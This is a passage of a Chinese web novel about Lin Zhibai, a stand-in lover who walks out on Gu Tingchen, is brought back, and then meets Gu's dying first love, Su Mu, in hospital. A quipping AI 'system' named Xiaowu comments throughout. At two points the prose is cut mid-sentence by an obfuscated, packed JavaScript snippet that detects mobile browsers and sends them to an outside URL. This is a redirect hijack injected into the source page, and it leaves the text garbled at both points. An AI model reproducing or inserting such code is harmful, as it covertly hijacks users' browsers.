林知白一步一步往前走,脚步很稳。 “宿主。”小污的声音响起,带着一点鼻音,“你刚才好帅。” 林知白没说话。 “但是......你的心率已经飙到一百五了。” “嗯。” “你疼吗?” 林知白停下脚步。 他站在走廊中央,周围一个人都没有。 然后他低下头,看着自己的手。 手还在抖。 “小污。” “嗯?” “你说,一个人可以同时喜欢两个人吗?” 小污沉默了几秒:“本系统上次回答过,那不是喜欢,是贪婪。” “那如果......”林知白的声音顿了一下,“如果他不是同时喜欢,而是从来只喜欢一个人呢?” 小污没说话。 林知白笑了笑,继续往前走。 “那我算什么?” 走廊尽头,大门外,夜色深沉。 没有星星。 林知白没有回顾霆琛的别墅。 他一个人走在深夜的街上,不知道该去哪儿。 手机响了,是顾霆琛的电话。他按掉。 又响了,再按掉。 第三次响起的时候,他接了。 “你在哪儿?”顾霆琛的声音很急。 林知白站在一座天桥上,看着桥下的车流。 “顾霆琛。”他说,“我们结束吧。” 11. 第 11 章 天桥上,夜风很大。 林知白握着手机,听见电话那头的呼吸声突然重了。 “你说什么?”顾霆琛的声音沉下来,像是没听清,又像是听清了不敢相信。 “我说。”林知白一字一字说得很清楚,“我们结束吧。” 电话里是长长的沉默。 桥下的车流呼啸而过,尾灯拉出一道道红色的光带。林知白靠在栏杆上,风把他的头发吹得乱七八糟,他没有去理。 “你在哪儿?”顾霆琛终于开口,声音哑得不像他。 “不重要。” “林知白——” “顾霆琛。”林知白打断他,“你知道我刚才在包厢里,被赵总按着喝酒的时候,在想什么吗?” 电话那头安静了。 “我在想,你会不会回来。”林知白的声音很轻,被风吹散在夜空里,“我在想,你是送苏沐到家了回来,还是半路就回来,还是......根本不回来。” “我回来了。” “你回来了。”林知白点点头,虽然他看不见,“可是顾霆琛,你回来的时候,我心里只有一个问题——” 他顿了顿。 “如果你没把苏沐安顿好,你还会回来吗?” 顾霆琛没有回答。 林知白等了三秒,笑了。 “你看,你自己都不知道。” “我知道。”顾霆琛突然开口,声音很沉,“我会。” 林知白愣了一下。 “我会回来。”顾霆琛又说了一遍,一字一顿,“不管苏沐有没有被安顿好,我都会回来。” “那你刚才为什么不说?” “因为你没问。” 林知白握着手机的手收紧了一点。 风又吹过来,把他的眼睛吹得有点干。 “顾霆琛。”他说,“你相信吗?” “什么?” “你说的这些话,你自己相信吗?” 电话那头又沉默了。 林知白抬起头,看着夜空。 没有星星,只有城市的灯光把天映成暗红色。 “你不相信。”他说,“因为你知道,如果再发生一次,你还是会先送苏沐。不是你不愿意回来,是你根本控制不住自己。” “林知白——” “没关系。”林知白打断他,“真的没关系。我理解的。” 他的声音很平静,平静得像在说今天的天气。 “苏沐是你等了十年的人。他有心脏病,他需要你,他比我重要。这些我都知道,都懂。” “你不懂。” “我懂。”林知白说,“我什么都懂。我懂的太多了,懂到......连自己都骗不了。” 风更大了。 林知白听见电话那头传来车门关上的声音,然后是引擎发动的声音。 “你在那儿别动。”顾霆琛说,“我过来。” “不用了。” “林知白——” “我说不用了。”林知白的声音突然重了一点,“你过来干什么?把我带回去?然后呢?明天苏沐一个电话,你再走一次?” 顾霆琛没说话。 “顾霆琛,我不是在跟你吵架。”林知白的声音又轻下来,“我只是......累了。” “累了就休息,我接你回去——” “不是身体累。”林知白打断他,“是心累。” 他转过身,背靠着栏杆,看着天桥另一端的万家灯火。 “你知道吗,这几天我一直在想一个问题。我到底是谁?我是林知白,还是苏沐的替身?你看着我的时候,是在看我,还是在看他?” “我在看你。” “那你刚才在包厢里,看的是谁?” 顾霆琛沉默了。 林知白笑了:“你看,你自己都不知道。” “我知道。”顾霆琛的声音沉下来,“我刚才看你,是因为我在担心你。” “担心我什么?” “担心你会难过。” 林知白愣住了。 “我知道我做得不好。”顾霆琛的声音从电话那头传来,很低,像是在对自己说,“我知道我让你难过了。可是林知白,我......我不知道该怎么办。” “不知道怎么办?” “我没想过会这样。”顾霆琛说,“我以为苏沐回来,一切都会回到从前。我以为我可以......可是你——” 他的话断了。 林知白握着手机,没有说话。 风从桥上吹过,带起他的衣角。 “宿主。”小污的声音突然冒出来,难得地正经,“本系统有一个重要发现。” “什么?” “顾霆琛刚才那句话,有百分之八十七的概率是真心话。” “......你能别在这种时候添乱吗?” “本系统不是在添乱!本系统是在提醒你——他是真的不知道怎么办。不是不想,是不知道。” 林知白沉默了。 电话那头,顾霆琛的声音又响起来,更低了:“你在听吗?” “在。” “你在哪儿?我来找你,我们当面说。” 林知白抬起头,看着远处的夜色。 “顾霆琛。”他说,“你今天陪我一天,我很开心。真的。” “林知白——” “但是有些话,说出来就没意思了。”他的声音很轻,“你回去吧。苏沐一个人在家,他不舒服,需要你照顾。” “他有人照顾。” “那你也得回去。”林知白笑了笑,“万一他半夜又难受呢?” 顾霆琛没说话。 “我没事。”林知白说,“我就是想一个人待一会儿。待够了就回去。” “回哪儿?” 林知白愣了一下。 回哪儿? 回顾霆琛的别墅? 那不是他的家。 回现实世界? 他还没完成任务。 “随便哪儿。”他说,“反正有地方去。” 电话那头是长长的沉默。 久到林知白以为电话断了,才听见顾霆琛的声音: “林知白,你听好。不管你在哪儿,不管多晚,只要你打电话,我肯定接。只要你回来,我肯定在。” 林知白没说话。 “我可能做得不好,可能让你难过,但我说的都是真的。”顾霆琛的声音更低了,“你......别不要我。” 别不要我。 这四个字砸进林知白耳朵里,像一颗石子投进平静的湖面,激起一圈圈涟漪。 他张了张嘴,想说什么,但喉咙像是被什么堵住了。 “宿主。”小污的声音轻轻响起,“你的心率......” “我知道。” “你要回去吗?” 林知白看着远处的灯火,沉默了很久。 然后他开口,声音有点哑: “顾霆琛。” “嗯?” “我累了。明天再说吧。” 他挂了电话。 把手机调成静音,塞进口袋里。 然后他站在天桥上,看着桥下的车流。 一辆接一辆,红色的尾灯连成线,像流不尽的血。 “宿主。”小污的声音又响起,“你真的不回去吗?” “不回去。” “那你去哪儿?” 林知白想了想,突然笑了。 “不知道。”他说,“反正有地方去。” 他走下天桥,漫无目的地往前走。 街道很宽,行人很少。路灯把他的影子拉得很长,又缩得很短。 他路过一家便利店,玻璃窗里透出暖黄色的光。他站在门口看了一会儿,推门进去。 “欢迎光临——”收银员是个年轻女孩,头也没抬,继续刷手机。 林知白在货架间慢慢走着,拿了一瓶水,一包饼干,想了想,又拿了一盒泡面。 他在窗边的位置坐下,撕开泡面的盖子,倒进热水。 热气升起来,模糊了玻璃。 他盯着窗外发呆。 “宿主。”小污的声音幽幽响起,“你知道你现在像什么吗?” “什么?” “像那种被赶出家门,只能在便利店过夜的可怜虫。” 林知白差点笑出来:“你能不能说点好听的?” “能啊,像那种为了体验生活特意来便利店吃泡面的富家少爷。” “这还差不多。” 他揭开泡面的盖子,挑起一筷子面,吹了吹,送进嘴里。 味道很普通,就是超市里那种几块钱一盒的泡面。 但他一口一口,吃得很慢。 “宿主。” “嗯?” “你刚才为什么不回顾霆琛那里?” 林知白筷子顿了顿,继续吃面。 “你明明心软了。”小污继续说,“他说的那些话,你的心率反应骗不了人。” 林知白没说话。 “是因为苏沐吗?” 林知白把筷子放下,喝了口水。 “小污。”他说,“你知道最难受的是什么吗?” “什么?” “不是他不选我。”林知白看着窗外的夜色,“是我连怪他的资格都没有。” 小污没说话。 “苏沐和他认识十年了。他们有过去,有感情,有共同经历。苏沐有病,需要他照顾。我算什么?一个刚认识不到一个月的人,一个替身,一个......意外。” “你不是意外。” “我是。”林知白笑了笑,“你想想,如果没有苏沐出国这件事,如果没有我这张脸,顾霆琛会看我一眼吗?” 小污沉默了。 “不会的。”林知白替它回答,“所以我有什么资格怪他?我本来就是替补。替补不能要求首发的位置,这是规矩。” 窗外的夜色很深,便利店里的灯光很亮。 林知白把剩下的面吃完,把汤也喝干净,然后收拾好垃圾,站起来。 “宿主,现在去哪儿?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432111|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。”林知白走出便利店,“随便走走。” 他沿着街道一直走,走过了几条街,走过了几个路口,走到脚有点酸了,就在路边找了个长椅坐下。 长椅旁边是一棵梧桐树,叶子开始变黄了,风一吹就落下几片。 林知白靠在椅背上,仰着头,看着那些在路灯下飘落的叶子。 手机在口袋里震动。 他拿出来看了一眼——十七个未接来电,都是同一个人。 还有十几条消息: 【在哪儿?】 【回电话】 【林知白,接电话】 【我错了,你回来我们好好说】 【苏沐那边我已经安排好了,以后不会再这样】 【你在哪儿?我来找你】 【求你,接电话】 林知白看着这些消息,一条一条往下翻。 最后一条是三分钟前发的: 【不管你信不信,我爱你。不是因为你像谁,是因为你是你。】 林知白盯着这行字,看了很久。 “宿主。”小污的声音很轻,“他说爱你了。” “嗯。” “任务完成了四分之一了!” “嗯。” “你怎么不兴奋?” 林知白没有回答。 他把手机屏幕按灭,塞回口袋。 风又吹过来,梧桐叶簌簌落下。 “小污。” “嗯?” “他说爱我了。”林知白的声音很轻,轻得像自言自语,“可是为什么,我一点都不高兴?” 小污没有回答。 林知白靠在长椅上,闭上眼睛。 夜风吹过,带起他的头发。 不知道过了多久,他听见脚步声。 有人在他面前站定。 他睁开眼睛。 顾霆琛站在他面前,头发被风吹乱了,西装皱巴巴的,眼睛里全是血丝。 他就那么站着,看着林知白,不说话。 林知白也不说话。 两个人就这么对视着。 然后顾霆琛在他旁边坐下。 “怎么找到的?”林知白问。 “手机定位。” 林知白愣了一下,然后笑了:“差点忘了,你是金主。” 顾霆琛没说话,只是看着他。 那眼神太复杂了,有心疼,有愧疚,有害怕,还有一点林知白看不懂的东西。 “你跑什么?”顾霆琛问。 “没跑,就是走走。” “走了五个小时?” 林知白看了眼时间——凌晨三点十七分。 “走了这么久吗?”他自己都惊讶,“没注意。” 顾霆琛看着他,眼神更复杂了。 然后他抬起手,轻轻揉了揉林知白的头发。 动作很轻,很温柔,像对待什么易碎的物品。 “跟我回去。”他说。 林知白看着他,没说话。 “苏沐那边,我已经安排好了。”顾霆琛的声音很低,“有专人照顾他,以后不需要我每次都在。” 林知白还是没说话。 “我知道我说这些你可能不信。”顾霆琛继续说,“但我会证明给你看。” “怎么证明?” 顾霆琛沉默了几秒。 然后他说:“明天开始,你去哪儿我去哪儿。工作带着你,应酬带着你,所有场合都带着你。你不想见的,我们不见。你不想去的,我们不去。” 林知白看着他,眼神里有了一丝波动。 “顾霆琛。”他说,“你知道你在说什么吗?” “知道。” “你知道这意味着什么吗?” “知道。” “你不怕别人说你是恋爱脑?” 顾霆琛嘴角弯了一下:“我本来不就是吗?” 林知白愣住了。 “你以为我是什么?冷酷无情的大佬?”顾霆琛看着他,“我要真冷酷,就不会找替身。我要真无情,就不会在大半夜满城找一个人。” 林知白张了张嘴,说不出话。 “林知白。”顾霆琛叫他的名字,一字一字说得很清楚,“我可能做得不好,但我不是傻子。我知道谁对我重要。” 夜风吹过,梧桐叶又落下几片。 林知白看着顾霆琛的眼睛,那双眼睛里有血丝,有疲惫,但很亮。 “宿主。”小污的声音轻轻响起,“他说的是真的。” 林知白没理它。 他只是在想一个问题—— 这一次,能信吗? 林知白跟着顾霆琛回了别墅。 那一夜,顾霆琛没有睡,就坐在他床边,守了他一夜。 第二天醒来,床头放着一张纸条: 【我去公司处理点事,下午回来。厨房有早餐,记得吃。——顾】 林知白看着那张纸条,看了很久。 他不知道,这只是暴风雨前的平静。很快,他就会知道苏沐回来的真正原因——不是养病,是等死。 12. 第 12 章 林知白醒来的时候,阳光已经铺满了半个房间。 他盯着天花板愣了几秒,才反应过来自己躺在哪儿——顾霆琛别墅的卧室,昨晚被带回来的地方。 床头柜上放着一张纸条,顾霆琛的字迹: 【我去公司处理点事,下午回来。厨房有早餐,记得吃。——顾】 林知白拿着那张纸条看了很久。 “宿主。”小污的声音幽幽响起,“你盯着那张纸看了三分十七秒了,它快被你看出洞了。” 林知白没理它,把纸条折好,放进抽屉里。 和之前那张“吃药”的纸条放在一起。 洗漱完下楼,厨房的餐桌上摆着早餐——小米粥、煎蛋、几碟小菜,还有一杯温牛奶。保温罩盖着,摸上去还是热的。 林知白坐下,拿起勺子。 粥熬得很稠,蛋煎得刚好,小菜是他喜欢的口味。 他一口一口吃着,吃得很慢。 “宿主。”小污又开口了,“你知道这叫什么吗?” “什么?” “糖衣炮弹。”小污的语气充满沧桑感,“根据本系统对三千六百部虐恋小说的研究,每次渣男突然变得温柔体贴,后面必定跟着一个惊天大雷。” 林知白筷子顿了顿:“你能不能盼我点好?” “本系统当然盼你好,但本系统更要提醒你别被糖衣炮弹迷晕了。”小污振振有词,“你看看,昨天还把你扔在饭局自己跑了,今天就开始做早餐留纸条,这不是典型的打一棒给一颗糖吗?” “他说以后不会了。” “他说你就信?” 林知白没说话,继续喝粥。 手机震了一下。 顾霆琛:【醒了吗?】 林知白看着屏幕,打了几个字,删掉,又打了几个字,发出去: 【醒了,在吃。】 顾霆琛:【吃的什么?】 林知白低头看了眼面前的碗:【粥。】 顾霆琛:【就粥?煎蛋吃了没?】 林知白:【吃了。】 顾霆琛:【小菜呢?】 林知白:【也吃了。】 顾霆琛:【牛奶喝了没?】 林知白看着这条消息,忍不住笑了一下。 “宿主!”小污惊叫,“你笑了!你又笑了!” “喝牛奶有什么好笑的?” “不是喝牛奶好笑,是你这个笑——”小污顿了顿,“本系统分析一下,嘴角上扬十五度,眼角微微弯起,这是发自内心的笑!不是那种假笑!” 林知白收起笑容:“你看错了。” “本系统的摄像头不会错!” 林知白没理它,低头继续喝粥。 手机又震了一下。 顾霆琛:【晚上想吃什么?我带回来。】 林知白盯着这行字,手指悬在屏幕上方。 吃什么? 他想吃什么? 他想了很久,发现自己竟然不知道。 从小到大,他都是吃别人安排的饭。奶奶做的,学校食堂的,顾霆琛让阿姨做的。没有人问过他“想吃什么”,他也没想过这个问题。 【随便。】他打了这两个字,准备发出去。 手指顿住了。 他想起那天顾霆琛说“没有随便这道菜”。 他删掉“随便”,打了几个字发出去: 【你做的就行。】 发完他把手机扣在桌上,继续喝粥。 过了几秒,手机震了。 顾霆琛:【好。】 就一个字。 但林知白盯着那个字,看了很久。 下午三点,门铃响了。 林知白以为是顾霆琛提前回来,跑去开门—— 门口站着一个陌生男人,三十岁左右,戴着金丝边眼镜,西装笔挺,手里拿着一个文件袋。 “林先生您好,我是顾总的私人律师,姓周。”男人礼貌地点头,“顾总让我来给您送点东西。” 林知白愣住:“律师?” 周律师走进客厅,在沙发上坐下,从文件袋里抽出一沓文件。 “这是顾总名下一套房产的过户文件,您签个字就行。”他又抽出另一沓,“这是一份信托基金,受益人是您,每月固定金额打入您账户。还有这个——” “等等。”林知白打断他,“什么意思?” 周律师抬起头,镜片后的眼睛里闪过一丝不解:“顾总没跟您说吗?这些是给您的——” “我知道是给我的。”林知白的声音沉下来,“我问的是,为什么?” 周律师沉默了几秒,合上文件。 “林先生,顾总的原话是——‘我怕他再跑,先把能给的都给他’。” 林知白愣住了。 “他说您昨天跑了五个小时,他找了五个小时。”周律师的语气很平静,“他说不想再有下次了。” 林知白张了张嘴,说不出话。 “文件我放这儿了,您考虑一下,签字就行。”周律师站起来,把文件放在茶几上,“我先走了。” 门关上的声音。 林知白坐在沙发上,看着那沓文件。 房产。信托基金。 顾霆琛在干什么?用钱绑住他? “宿主。”小污的声音响起,“你还好吧?” “挺好的。” “你的心率一百三了。” “嗯。” “你打算签吗?” 林知白看着那沓文件,没有说话。 手机响了,是顾霆琛。 他接起来。 “律师到了?”顾霆琛的声音传来。 “嗯。” “东西看了?” “嗯。” “签了吗?” 林知白沉默了几秒:“顾霆琛,你什么意思?” 电话那头也沉默了。 过了几秒,顾霆琛的声音再次响起,比刚才低了一点:“我怕你再跑。” “所以你用钱绑住我?” “不是绑。”顾霆琛说,“是给。我想给你点什么,但又不知道你能要什么。只能给这些。” 林知白握着手机的手收紧了一点。 “顾霆琛。”他说,“我不需要这些。” “那你需要什么?” 林知白张了张嘴,没说出话。 他需要什么? 他需要一个人真心对他好,不因为他是谁的替身。 他需要一个人把他放在第一位,不是顺便想起他。 他需要一个人......爱他。 但这些能说吗? “宿主。”小污的声音轻轻响起,“你为什么不告诉他?” “告诉他什么?” “告诉他你需要什么。” 林知白沉默了。 电话那头,顾霆琛还在等。 “林知白?”他的声音传来,“你还在吗?” “在。” “那你需要什么?” 林知白深吸一口气。 “顾霆琛。”他说,“我需要的,你给不了。” 电话那头沉默了。 很久之后,顾霆琛的声音再次响起,哑了一点:“你不说,怎么知道我给不了?” 林知白没说话。 窗外有鸟叫声传来,清脆响亮。 “晚上回来再说吧。”他挂了电话。 把手机放到一边,看着那沓文件。 阳光从窗户照进来,在文件上投下金色的光斑。 他伸手拿起那份房产文件,翻开。 是一套市中心的公寓,一百八十平,写的他的名字。 他又拿起信托基金的文件,翻开。 每月固定金额——五万。 林知白盯着那个数字,突然笑了。 “宿主,你笑什么?” “我在想。”他说,“我值这个价吗?” 小污没说话。 “还是说,这是分手费?”他把文件放回去,“因为昨天的事,他觉得愧疚,所以给我补偿。钱给了,他就心安理得了。” “宿主,你想多了吧?” “是吗?”林知白靠在沙发上,“那他为什么不自己送来?为什么要让律师来?” 小污沉默了。 “因为他不知道怎么面对我。”林知白的声音很轻,“因为他知道,这些东西不能解决任何问题。” 他站起来,走到窗边。 阳光很好,花园里的花开得很艳。 但他心里,有什么东西在慢慢冷下去。 下午六点,顾霆琛准时回来了。 他进门的时候,手里提着好几个袋子,都是食材。 “等久了吧?”他把东西放到厨房,“我马上做。” 林知白靠在厨房门口,看着他系上围裙,开始洗菜切菜。 动作很熟练,一看就是经常做饭的人。 “顾霆琛。”林知白开口。 “嗯?” “那些文件,我不签。” 顾霆琛的手顿了顿,继续切菜:“为什么?” “不需要。” “那是我给你的——” “我知道。”林知白打断他,“但我不要。” 顾霆琛放下刀,转过身看着他。 两个人隔着厨房的距离对视。 “林知白。”顾霆琛说,“你到底想要什么?” 林知白看着他,没有回答。 “你告诉我,我给你。”顾霆琛走近几步,“只要我能给的,我都给你。” “你能给什么?”林知白问。 “你要什么我给什么。” “我要你只看着我一个人。” 顾霆琛的脚步停住了。 “我要你把我放在第一位,不是顺便想起。”林知白继续说,“我要你看着我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432112|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,眼里只有我,没有别人。这些,你能给吗?” 厨房里安静得能听见冰箱的嗡鸣声。 顾霆琛站在那里,看着他,没有说话。 林知白笑了。 “你看,你不能。”他说,“因为苏沐还在。” “苏沐他——” “我知道他有病,需要照顾。”林知白打断他,“我知道你们有十年感情,我不可能比得上。我都知道。” 他转身往客厅走。 “但知道归知道。”他的声音从客厅传来,“难受归难受。” 顾霆琛站在原地,看着他的背影。 那双眼睛里,有什么东西碎了。 晚饭还是做了。 四菜一汤,都是林知白喜欢的口味。 两个人坐在餐桌两端,谁都没说话。 林知白低头吃饭,一口一口,吃得很慢。 顾霆琛看着他,筷子没动。 “你怎么不吃?”林知白问。 “不饿。” 林知白没再问,继续吃。 吃到一半,顾霆琛的手机响了。 他看了一眼屏幕,眉头皱起来,按掉了。 过了几秒,又响了。 他又按掉。 第三次响起的时候,林知白看见了屏幕上跳动的名字——苏沐。 “接吧。”他说。 顾霆琛看着他,没动。 “万一有事呢。”林知白说,语气很平静。 顾霆琛拿起手机,走到窗边,接了。 声音压得很低,但餐厅太安静了,林知白还是能听见只言片语: “怎么了......嗯......医生怎么说......我明天过去......” 林知白继续吃饭。 一口,两口,三口。 他把碗里的饭吃完,把汤喝完,放下筷子。 顾霆琛还在打电话。 林知白站起来,把碗筷收进厨房,洗了手,上楼。 走进卧室,关上门。 他坐在床边,听着楼下的声音。 很久之后,脚步声上楼,停在门口。 敲门声。 “林知白?” “我睡了。” 门外沉默了。 过了几秒,顾霆琛的声音再次响起:“苏沐住院了。” 林知白没说话。 “心脏的问题,可能要手术。” 还是没说话。 “我明天去看看他,很快回来。” 林知白躺下,拉过被子盖好。 “好。”他说。 门外是长长的沉默。 然后脚步声远去。 林知白盯着天花板,一动不动。 “宿主。”小污的声音轻轻响起,“你为什么不生气?” “有什么好生气的?” “他又要去看苏沐了。” “他应该去。”林知白说,“苏沐病了,需要他。” “可是你——” “我没事。”林知白打断它,“我习惯了。” 小污沉默了。 窗外的月光从窗帘缝隙漏进来,在地板上画出一道淡淡的白线。 林知白翻了个身,面朝窗户。 “小污。” “嗯?” “你说,如果有一天我也病了,他会来看我吗?” 小污没有回答。 林知白笑了笑,闭上眼睛。 “算了,不问了。” 第二天早上,林知白醒来的时候,床头柜上又有一张纸条: 【去医院了,下午回来。早餐在厨房。——顾】 林知白拿着那张纸条,看了一会儿,放回抽屉里。 和前面两张放在一起。 他下楼吃了早餐,坐在客厅里,打开电视。 新闻频道在播报什么,他没听进去。 手机响了。 是一个陌生号码。 他接起来。 “林知白?”一个温和的声音传来,带着一点南方口音。 林知白愣住了。 是苏沐。 “你怎么有我的电话?” “问顾霆琛要的。”苏沐的声音有点虚弱,“我想见你一面,可以吗?” 林知白握着手机,没有说话。 “我知道这个请求很突然。”苏沐继续说,“但我有些话,想当面跟你说。” “什么话?” “关于他。”苏沐顿了顿,“关于我们。” 林知白沉默了几秒。 “在哪儿?” 林知白按照苏沐发的地址,来到一家医院。 病房里,苏沐躺在病床上,脸色苍白得近乎透明。 他看到林知白进来,笑了笑。 “坐吧。”他指了指床边的椅子,“我想跟你说个故事。关于十年前,顾霆琛为什么送我出国。” 13. 第 13 章 医院的味道,永远是一样的。 消毒水、药水、还有某种说不清的冷清。林知白站在病房门口,透过门上的玻璃窗看见里面的人。 苏沐靠在床头,穿着蓝白条纹的病号服,脸色苍白得近乎透明。阳光从窗户照进来,在他身上镀了一层浅金色的光,让他看起来像一尊易碎的瓷器。 他像是在等什么,目光一直盯着门口。 看见林知白,他笑了,抬起手轻轻挥了挥。 林知白推门进去。 “来了?”苏沐的声音很轻,带着一点虚弱,“坐吧。” 他指了指床边的椅子。 林知白坐下,看着面前这个人。 这张和自己一模一样的脸,在病床上显得格外脆弱。眼窝有点陷下去,嘴唇没什么血色,但眼睛还是亮的,像盛着星星。 “喝水吗?”苏沐问,“那边有——” “不用。”林知白打断他,“你有什么话,直说吧。” 苏沐愣了一下,然后笑了。 “你比我想的干脆。”他说,“挺好,我也不喜欢绕弯子。” 他调整了一下靠着的姿势,动作很慢,像是每一个动作都会耗费很多力气。 林知白看着他,没有说话。 “你是不是很恨我?”苏沐突然问。 林知白没回答。 “恨我也正常。”苏沐笑了笑,“换我,我也恨。好好过着日子,突然冒出一个人,把什么都抢走了。” “他没被你抢走。”林知白说,“他本来就是你的。” 苏沐看着他,眼神里有一丝意外。 “你倒是想得明白。” “想不明白也得想明白。”林知白的声音很平静,“事实摆在那儿,我瞎了才看不见。” 苏沐沉默了几秒,然后轻轻叹了口气。 “你知道吗,你越是这样,我越觉得......对不起你。” 林知白看着他,没说话。 “我本来以为你会闹,会哭,会骂我。”苏沐低下头,看着自己的手指,“那样我心里会好受一点。可你什么都不做,就这么忍着,我反而......” 他的话没说完。 病房里安静了几秒。 窗外有鸟叫声传来,清脆响亮。 “苏沐。”林知白开口,“你到底想说什么?” 苏沐抬起头,对上他的目光。 那双眼睛里,有什么东西在涌动。 “我想跟你说个故事。”他说,“关于十年前,顾霆琛为什么送我出国。” 林知白的身体微微绷紧了一点。 “宿主!”小污的声音突然炸响,“重点来了!本系统已经准备好瓜子和板凳!” 林知白在心里默默翻了个白眼:“你能不能严肃点?” “本系统非常严肃!但严肃不影响吃瓜!” 苏沐没有察觉林知白的走神,他已经开始了自己的讲述。 “我和顾霆琛认识的时候,都十九岁。大学同学,一个宿舍的。”他的嘴角弯起一个弧度,眼神变得悠远,“那时候他可傻了,连饭都不会做,天天泡面。我嫌他没出息,就教他做饭。” 林知白想起顾霆琛做的那几顿饭。煎蛋、炒菜、熬粥,确实都挺好吃的。 原来是苏沐教的。 “后来我们在一起了。”苏沐继续说,声音很轻,“瞒着所有人,偷偷在一起。那时候以为能一直这样,毕业了,工作了,找个没人认识的地方,过我们的小日子。” 他顿了顿。 “然后我就病了。” 林知白的目光落在他脸上。 “先天性心脏病,一直都知道,但没想到会那么快发作。”苏沐低下头,“那天我们在图书馆,我突然晕倒了。醒来的时候,他守在床边,眼睛红得像兔子。” “他守了三天三夜,不吃不喝不睡,我醒了他才晕过去。”苏沐笑了笑,“那时候我就想,这辈子值了。” 林知白听着,没有说话。 “后来医生说,我这病国内治不了,得去国外。要很多钱,很多很多。”苏沐抬起头,看着窗外,“顾霆琛那时候刚毕业,什么都没有。他跪在他爸面前,跪了整整一天,借了一笔钱。” “然后他送我出国了。” 林知白的手指微微收紧。 “我走那天,他在机场哭得跟个傻子似的。”苏沐的声音有点哑,“他说,等我好了就回来,他赚够了钱就来接我。我们还有很多很多年。” 病房里安静下来。 阳光慢慢移动,在地板上画出一道斜线。 林知白沉默了很久。 然后他开口:“那你为什么现在回来?” 苏沐转过头,看着他。 “因为没时间了。” 林知白愣住了。 “医生说我还有半年,最多一年。”苏沐笑了笑,笑得很轻,“我不想死在外面。我想回来,看看他,看看以前走过的地方,然后......在这儿闭上眼睛。” 林知白张了张嘴,说不出话。 “宿主!”小污的声音炸响,“卧槽!这是什么狗血剧情!白月光要死了!” 林知白没理它。 他只是看着苏沐,看着那张和自己一模一样的脸上,那种平静的笑容。 “你告诉他了吗?”他问。 “没有。”苏沐摇摇头,“他不知道。” “为什么不告诉?” 苏沐沉默了几秒,然后低下头。 “因为我不知道怎么开口。”他说,“我走了十年,他等了我十年。我以为我回来,能给他一个好结果,结果却是——我回来告诉他,我要死了?” 他抬起头,眼眶有点红。 “林知白,你知道吗,我最怕的不是死。我最怕的是,我死了以后,他怎么办?” 林知白没有说话。 “他这个人,看着冷,其实最重感情。”苏沐说,“我走了十年,他找了十个替身,每个都长得像我。为什么?因为他忘不了。” 十个替身。 林知白的心猛地抽紧了一下。 他以为自己是最特别的那个,原来只是十个之一。 “你是最后一个。”苏沐像是看穿了他的心思,“也是最长的一个。之前的那些,最多一个月就散了。只有你,他留了快两个月。” 林知白没说话。 “知道为什么吗?” “为什么?” “因为你最像。”苏沐看着他,“不是长得像,是性格像。你笑起来的样子,你说话的语气,你生气的时候抿嘴的动作,都像我。” 林知白的喉咙像是被什么堵住了。 “他知道你不是我。”苏沐继续说,“但他控制不住。他太想我了,想得受不了了,就找一个像的人,假装我还在。” “那你呢?”林知白终于开口,声音有点哑,“你回来是想干什么?把他要回去?” 苏沐摇摇头。 “不是。”他说,“我回来,是想把他交给你。” 林知白愣住了。 “你说什么?” “林知白,我看得出来。”苏沐看着他,眼神很认真,“他看你的眼神,和看之前的那些人不一样。之前那些,他看的时候是空的,透过他们看的是我。但看你的时候,他看的是你。” 林知白张了张嘴,想说什么,但说不出来。 “他自己可能都没发现。”苏沐笑了笑,“但我发现了。他提到你的时候,语气不一样了。他着急你的时候,眼神不一样了。他在意你,不是因为你是我的替身,是因为你是你。” “不可能......” “可能。”苏沐打断他,“林知白,你低估自己了。” 病房里安静下来。 阳光落在两个人之间,像一道透明的墙。 林知白低着头,看着自己的手。 手在抖。 “宿主。”小污的声音轻轻响起,“你的心率......” “我知道。” “他说的是真的吗?” 林知白没有回答。 他也不知道。 苏沐看着他,眼神里有一丝心疼。 “林知白,我叫你来,是想跟你说两件事。”他说,“第一,我不怪你。你什么都没做错,你只是在一个错误的时间,出现在一个错误的地方。” 林知白抬起头。 “第二。”苏沐深吸一口气,“我走了以后,你替我好好照顾他。” 林知白的心猛地抽紧了。 “你什么意思?” “我快死了。”苏沐说得很平静,“他总得有人陪。我希望那个人是你。” “不行。”林知白站起来,“这不行。” “为什么不行?” “因为......”林知白的声音顿住了。 因为他只是替身。 因为他没有资格。 因为苏沐才是顾霆琛等了十年的人。 “因为你觉得自己不配?”苏沐替他说出来。 林知白没有说话。 苏沐看着他,突然笑了。 “你知道吗,我第一次见你,是在露台上。”他说,“你一个人站在那儿,看着夜景。我当时就想,这个人真奇怪,明明难过成那样,还在笑。” 林知白没说话。 “后来我看见他走向你。”苏沐继续说,“他那个眼神,我从来没见过。不是看替身的眼神,是看一个......很重要的人的眼神。” “你想多了。” “我没想多。”苏沐摇摇头,“林知白,我认识他十年了。我知道他每个眼神的意思。” 林知白沉默了。 窗外有风吹过,树叶沙沙作响。 “他昨天晚上来看我。”苏沐突然说,“你知道吗,他来了,但一直心不在焉。我问他想什么,他说想一个人。” 林知白的心跳漏了一拍。 “他说,那个人跑了一晚上,他找了五个小时才找到。他说,他再也不想让那个人跑了。”苏沐看着他,“林知白,那个人是你。” 林知白站在原地,像是被钉住了。 “我那时候就知道了。”苏沐说,“我输了。” 他笑了笑,笑得很轻,但眼睛里有什么东西在闪。 